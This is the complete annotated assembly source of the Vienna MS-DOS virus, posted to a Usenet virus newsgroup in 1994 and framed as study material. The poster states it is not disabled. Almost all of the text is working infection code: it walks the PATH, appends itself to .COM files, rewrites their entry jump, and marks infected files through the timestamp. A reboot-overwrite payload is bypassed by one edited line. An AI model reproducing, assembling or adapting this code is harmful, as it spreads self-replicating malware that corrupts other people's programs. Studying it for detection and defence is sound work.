Collection of Hack-Phreak Scene Programs/cleanhpvac.zip/cleanhpvac/SOURCE.ZIP/VIENNA.ZIP/VIENNA.ASM

Assembly Source File | 1994-12-31 | 27KB | 701 lines

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From: [e-mail] (Michael Tomaino)
Newsgroups: alt.comp.virus
Subject: Vienna Source Code
Date: 31 Dec 1994 05:09:11 GMT
Organization: University of British Columbia, Vancouver, B.C., Canada
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  As promised to many, here is the source code for the vienna virus.
Please be aware that this virus has not been disabled in any way, and it
will be dangerous if it is compiled to an executable.

-----Begin-Cutting-Here!-----------------------------------------------
;*****************************************************************************
;
;         *** NOT FOR GENERAL DISTRIBUTION ***     The Vienna Virus
;
; This file is for the purpose of virus study only! It should not be passed
;  around among the general public. It will be very useful for learning
;  how viruses work and propagate. But anybody with access to an assembler
;  can turn it into a working virus and anybody with a bit of assembly coding
;  experience can turn it into a far more malevolent program than it already
;  is. Keep this code in responsible hands!
;
; This program does not check wether or not the .COM file to be infected is
;  really a .COM file or simply a misnamed .EXE file. DOS does not rely on the
;  file extension, but does a double-check by looking for a signature that
;  indicates wether or not a file REALLY is an .EXE file. The virus writer
;  apparently did not know this. This virus will take any .EXE file that's
;  been renamed to a .COM file and try to infect it, obscuring the signature
;  that marks it as an .EXE file. When the infected file is then run, the
;  virus code will run first, and then the machine will try to run the .EXE
;  header data as though it were code. This is likely to crash the machine, and
;  since some later versions of DOS itself contain such misnamed .EXE files,
;  it's likely to happen.
;
;******************************************************************************

;******************************************************************************
;It seems that MASM won't always willingly translate ordinary assembly code
; into the byte-for-byte replacement of the code in the Vienna Virus. Since
; MASM is just a 2 pass assembler, it doesn't always have enough information to
; figure out the size of an instruction when it needs to. To be safe, it makes
; its guess on the high side and then adds in unrequested NOPS if it needs to
; pad out the space it allocated. Many of the NOPs in this virus are the result
; of this. But the virus writer seems to have done a bit of hand modification
; to the virus, and as a result, one instance where we'd expect a NOP, there
; isn't one. This macro allows us to mimic that instance, where an ordinary
; MOV CX,xx would otherwise have worked fine.
;******************************************************************************

MOV_CX  MACRO   X
        DB      0B9H
        DW      X
ENDM


CODE    SEGMENT
        ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
        ORG     $+0100H

;*****************************************************************************
;Start out with a JMP around the remains of the original .COM file, into the
;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
;The rest of the file (first 3 bytes) are stored in the virus data area.
;*****************************************************************************

VCODE:  JMP     virus


;This was the rest  of the original .COM file. Tiny and simple, this time

        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP
        NOP


;************************************************************
;              The actual virus starts here
;************************************************************

v_start equ     $


virus:  PUSH    CX
        MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
                                        ; The 2nd and 3rd bytes get modified.
        CLD                             ;Pointers will be auto INcremented
        MOV     SI,DX                   ;Access data as offset from SI
        ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
        MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
        MOV     CX,3
        REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
        MOV     SI,DX                   ;Keep SI pointing to the data area

;*************************************************************
;                   Check the DOS version
;*************************************************************

        MOV     AH,30H
        INT     21H

        CMP     AL,0                    ;0 means it's version 1.X

        JNZ     dos_ok                  ;For version 2.0 or greater
        JMP     quit                    ;Don't try to infect version 1.X


;*************************************************************
;  Here if the DOS version is high enough for this to work
;*************************************************************

dos_ok: PUSH    ES


;*************************************************************
;               Get DTA address into ES:BX
;*************************************************************

        MOV     AH,2FH
        INT     21H

;*************************************************************
;                    Save the DTA address
;*************************************************************


        MOV     [SI+old_dta],BX
        MOV     [SI+old_dts],ES         ;Save the DTA address

        POP     ES

;*************************************************************
;        Set DTA to point inside the virus data area
;*************************************************************

        MOV     DX,dta                  ;Offset of new DTA in virus data area
;       NOP                             ;MASM will add this NOP here
        ADD     DX,SI                   ;Compute DTA address
        MOV     AH,1AH
        INT     21H                     ;Set new DTA to inside our own code


        PUSH    ES
        PUSH    SI
        MOV     ES,DS:2CH
        MOV     DI,0                    ;ES:DI points to environment

;************************************************************
;        Find the "PATH=" string in the environment
;************************************************************

find_path:
        POP     SI
        PUSH    SI                      ;Get SI back
        ADD     SI,env_str              ;Point to "PATH=" string in data area
        LODSB
        MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
        REPNZ   SCASB                   ;Search for first character
        MOV     CX,4

;************************************************************
;       Loop to check for the next four characters
;************************************************************

check_next_4:
        LODSB
        SCASB
        JNZ     find_path               ;If not all there, abort & start over
        LOOP    check_next_4            ;Loop to check the next character

        POP     SI
        POP     ES
        MOV     [SI+path_ad],DI         ;Save the address of the PATH
        MOV     DI,SI
        ADD     DI,wrk_spc              ;File name workspace
        MOV     BX,SI                   ;Save a copy of SI
        ADD     SI,wrk_spc              ;Point SI to workspace
        MOV     DI,SI                   ;Point DI to workspace
        JMP     SHORT   slash_ok


;**********************************************************
;     Look in the PATH for more subdirectories, if any
;**********************************************************

set_subdir:
        CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
        JNZ     found_subdir            ;If not, there are more subdirectories
        JMP     all_done                ;Else, we're all done


;**********************************************************
;    Here if there are more subdirectories in the path
;**********************************************************

found_subdir:
        PUSH    DS
        PUSH    SI
        MOV     DS,ES:2CH               ;DS points to environment segment
        MOV     DI,SI
        MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
        ADD     DI,wrk_spc              ;DI points to file name workspace


;***********************************************************
;      Move subdirectory name into file name workspace
;***********************************************************

move_subdir:
        LODSB                           ;Get character
        CMP     AL,';'                  ;Is it a ';' delimiter?
        JZ      moved_one               ;Yes, found another subdirectory
        CMP     AL,0                    ;End of PATH string?
        JZ      moved_last_one          ;Yes
        STOSB                           ;Save PATH marker into [DI]
        JMP     SHORT   move_subdir

;******************************************************************
; Mark the fact that we're looking through the final subdirectory
;******************************************************************

moved_last_one:
        MOV     SI,0


;******************************************************************
;              Here after we've moved a subdirectory
;******************************************************************

moved_one:
        POP     BX                      ;Pointer to virus data area
        POP     DS                      ;Restore DS
        MOV     [BX+path_ad],SI         ;Address of next subdirectory
        NOP

;******************************************************************
;             Make sure subdirectory ends in a "\"
;******************************************************************

        CMP     CH,'\'                  ;Ends with "\"?
        JZ      slash_ok                ;If yes
        MOV     AL,'\'                  ;Add one, if not
        STOSB


;******************************************************************
;     Here after we know there's a backslash at end of subdir
;******************************************************************

slash_ok:
        MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
        MOV     SI,BX                   ;Restore SI
        ADD     SI,f_spec               ;Point to "*.COM"
        MOV     CX,6
        REPZ    MOVSB                   ;Move "*.COM",0 to workspace

        MOV     SI,BX


;*******************************************************************
;                 Find first string matching *.COM
;*******************************************************************

        MOV     AH,4EH
        MOV     DX,wrk_spc
;       NOP                             ;MASM will add this NOP here
        ADD     DX,SI                   ;DX points to "*.COM" in workspace
        MOV     CX,3                    ;Attributes of Read Only or Hidden OK
        INT     21H

        JMP     SHORT   find_first


;*******************************************************************
;              Find next ASCIIZ string matching *.COM
;*******************************************************************

find_next:
        MOV     AH,4FH
        INT     21H

find_first:
        JNB     found_file              ;Jump if we found it
        JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory

;*******************************************************************
;                      Here when we find a file
;*******************************************************************

found_file:
        MOV     AX,[SI+dta_tim]         ;Get time from DTA
        AND     AL,1FH                  ;Mask to remove all but seconds
        CMP     AL,1FH                  ;62 seconds -> already infected
        JZ      find_next               ;If so, go find another file

        CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
        JA      find_next               ;If too long, find another one

        CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
        JB      find_next               ;Then go find another one

        MOV     DI,[SI+nam_ptr]         ;DI points to file name
        PUSH    SI                      ;Save SI
        ADD     SI,dta_nam              ;Point SI to file name

;********************************************************************
;                Move the name to the end of the path
;********************************************************************

more_chars:
        LODSB
        STOSB
        CMP     AL,0
        JNZ     more_chars              ;Move characters until we find a 00


;********************************************************************
;                        Get File Attributes
;********************************************************************

        POP     SI
        MOV     AX,OFFSET 4300H
        MOV     DX,wrk_spc              ;Point to \path\name in workspace
;       NOP                             ;MASM will add this NOP here
        ADD     DX,SI
        INT     21H


        MOV     [SI+old_att],CX         ;Save the old attributes


;********************************************************************
;         Rewrite the attributes to allow writing to the file
;********************************************************************

        MOV     AX,OFFSET 4301H         ;Set attributes
        AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
        MOV     DX,wrk_spc              ;Offset of \path\name in workspace
;       NOP                             ;MASM will add this NOP here
        ADD     DX,SI                   ;Point to \path\name
        INT     21H

;********************************************************************
;                Open Read/Write channel to the file
;********************************************************************

        MOV     AX,OFFSET 3D02H         ;Read/Write
        MOV     DX,wrk_spc              ;Offset to \path\name in workspace
;       NOP                             ;MASM will add this NOP here
        ADD     DX,SI                   ;Point to \path\name
        INT     21H

        JNB     opened_ok               ;If file was opened OK
        JMP     fix_attr                ;If it failed, restore the attributes


;*******************************************************************
;                        Get the file date & time
;*******************************************************************

opened_ok:
        MOV     BX,AX
        MOV     AX,OFFSET 5700H
        INT     21H

        MOV     [SI+old_tim],CX         ;Save file time
        MOV     [SI+ol_date],DX         ;Save the date

;*******************************************************************
;                        Get current system time
;*******************************************************************

        MOV     AH,2CH
        INT     21H


        AND     DH,7                    ;Last 3 bits 0? (once in eight)

;*******************************************************************
; The following line is a change from the original virus. Originally
;  the following line would be JNZ seven_in_eight. This would ruin
;  about 1/8 of all .COM files infected, while the other 7/8 would
;  be left workable, but infected. For the purpose of studying a
;  live virus, the changed line is not so damaging.
;*******************************************************************
        JMP     SHORT   seven_in_eight


;*******************************************************************
; The special "one in eight" infection. If the above line were in
;  its original form, this code would be run 1/8 of the time, and
;  rather than appending a copy of this virus to the .COM file, the
;  file would get 5 bytes of code that reboot the system when the
;  .COM file is run.
;*******************************************************************


        MOV     AH,40H                  ;Write to file
        MOV     CX,5                    ;Five bytes
        MOV     DX,SI
        ADD     DX,reboot               ;Offset of reboot code in data area
        INT     21H

        JMP     SHORT   fix_time_stamp

        NOP


;******************************************************************
;      Here's where we infect a .COM file with this virus
;******************************************************************

seven_in_eight:
        MOV     AH,3FH
        MOV     CX,3
        MOV     DX,first_3
;       NOP                     ;MASM will add this NOP here
        ADD     DX,SI
        INT     21H             ;Save first 3 bytes into the data area

        JB      fix_time_stamp  ;Quit, if read failed

        CMP     AX,3            ;Were we able to read all 3 bytes?
        JNZ     fix_time_stamp  ;Quit, if not


;******************************************************************
;              Move file pointer to end of file
;******************************************************************

        MOV     AX,OFFSET 4202H
        MOV     CX,0
        MOV     DX,0
        INT     21H

        JB      fix_time_stamp  ;Quit, if it didn't work

        MOV     CX,AX           ;DX:AX (long int) = file size
        SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
        MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction

        ADD     CX,OFFSET c_len_y
        MOV     DI,SI           ;Point DI to virus data area
        SUB     DI,OFFSET c_len_x
                                ;Point DI to reference vir_dat, at start of pgm
        MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm


;*******************************************************************
;                    Write virus code to file
;*******************************************************************

        MOV     AH,40H

        MOV_CX  virlen                  ;Length of virus, in bytes

        MOV     DX,SI
        SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
                                        ; address of virus code in memory
        INT     21H

        JB      fix_time_stamp          ;Jump if error

        CMP     AX,OFFSET virlen        ;All bytes written?
        JNZ     fix_time_stamp          ;Jump if error


;**********************************************************************
;                Move file pointer to beginning of the file
;**********************************************************************

        MOV     AX,OFFSET 4200H
        MOV     CX,0
        MOV     DX,0
        INT     21H

        JB      fix_time_stamp          ;Jump if error


;**********************************************************************
;              Write the 3 byte JMP at the start of the file
;**********************************************************************

        MOV     AH,40H
        MOV     CX,3
        MOV     DX,SI                   ;Virus data area
        ADD     DX,jmp_op               ;Point to the reconstructed JMP
        INT     21H


;**********************************************************************
;       Restore old file date & time, with seconds modified to 62
;**********************************************************************

fix_time_stamp:
        MOV     DX,[SI+ol_date]         ;Old file date
        MOV     CX,[SI+old_tim]         ;Old file time
        AND     CX,OFFSET 0FFE0H
        OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
        MOV     AX,OFFSET 5701H
        INT     21H


;**********************************************************************
;                              Close File
;**********************************************************************

        MOV     AH,3EH
        INT     21H


;**********************************************************************
;                     Restore Old File Attributes
;**********************************************************************

fix_attr:
        MOV     AX,OFFSET 4301H
        MOV     CX,[SI+old_att]         ;Old Attributes
        MOV     DX,wrk_spc
;       NOP                             ;MASM will add this NOP
        ADD     DX,SI                   ;DX points to \path\name in workspace
        INT     21H


;**********************************************************************
;              Here when it's time to close it up & end
;**********************************************************************

all_done:
        PUSH    DS


;**********************************************************************
;                         Restore old DTA
;**********************************************************************

        MOV     AH,1AH
        MOV     DX,[SI+old_dta]
        MOV     DS,[SI+old_dts]
        INT     21H

        POP     DS


;*************************************************************************
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
;  in since the address in a real JMP 100 is an offset, and the offset
;  varies from one infected file to the next. By PUSHing an 0100H onto the
;  stack, we can RET to address 0100H just as though we JMPed there.
;**********************************************************************

quit:
        POP     CX
        XOR     AX,AX
        XOR     BX,BX
        XOR     DX,DX
        XOR     SI,SI
        MOV     DI,OFFSET 0100H
        PUSH    DI
        XOR     DI,DI

        RET     0FFFFH

;************************************************************************
;The virus data starts here. It's accessed off the SI register, per the
; comments as shown
;************************************************************************

vir_dat EQU     $


        ;Use this with (SI + old_dta)
olddta_ DW      0                       ;Old DTA offset

        ;Use this with (SI + old_dts)
olddts_ DW      0                       ;Old DTA segment

        ;Use this with (SI + old_tim)
oldtim_ DW      0                       ;Old Time

        ;Use this with (SI + ol_date)
oldate_ DW      0                       ;Old date

        ;Use this with (SI + old_att)
oldatt_ DW      0                       ;Old file attributes



;Here's where the first three bytes of the original .COM file go.(SI + first_3)

first3_ EQU     $
        INT     20H
        NOP



;Here's where the new JMP instruction is worked out

        ;Use this with (SI + jmp_op)
jmpop_  DB      0E9H                    ;Start of JMP instruction

        ;Use this with (SI + jmp_dsp)
jmpdsp_ DW      0                       ;The displacement part



;This is the type of file  we're looking to infect. (SI + f_spec)

fspec_  DB      '*.COM',0

        ;Use this with (SI + path_ad)
pathad_ DW      0                       ;Path address

        ;Use this with (SI + nam_ptr)
namptr_ DW      0                       ;Pointer to start of file name

        ;Use this with (SI + env_str)
envstr_ DB      'PATH='                 ;Find this in the environment

        ;File name workspace (SI + wrk_spc)
wrkspc_ DB      40h dup (0)

        ;Use this with (SI + dta)
dta_    DB      16h dup (0)             ;Temporary DTA goes here

        ;Use this with (SI + dta_tim)
dtatim_ DW      0,0                     ;Time stamp in DTA

        ;Use this with (SI + dta_len)
dtalen_ DW      0,0                     ;File length in the DTA

        ;Use this with (SI + dta_nam)
dtanam_ DB      0Dh dup (0)             ;File name in the DTA

        ;Use this with (SI + reboot)
reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0


lst_byt EQU     $                       ;All lines that assemble into code are
                                        ;  above this one


;*****************************************************************************
;The virus needs to know a few details about its own size and the size of its
; code portion. Let the assembler figure out these sizes automatically.
;*****************************************************************************

virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
codelen =       vir_dat - v_start       ;Length of virus code, only
c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP


;*****************************************************************************
;Because this code is being appended to the end of an executable file, the
; exact address of its variables cannot be known. All are accessed as offsets
; from SI, which is represented as vir_dat in the below declarations.
;*****************************************************************************

old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
path_ad =       pathad_ - vir_dat       ;Displacement to the path address
nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code

        CODE    ENDS
END     VCODE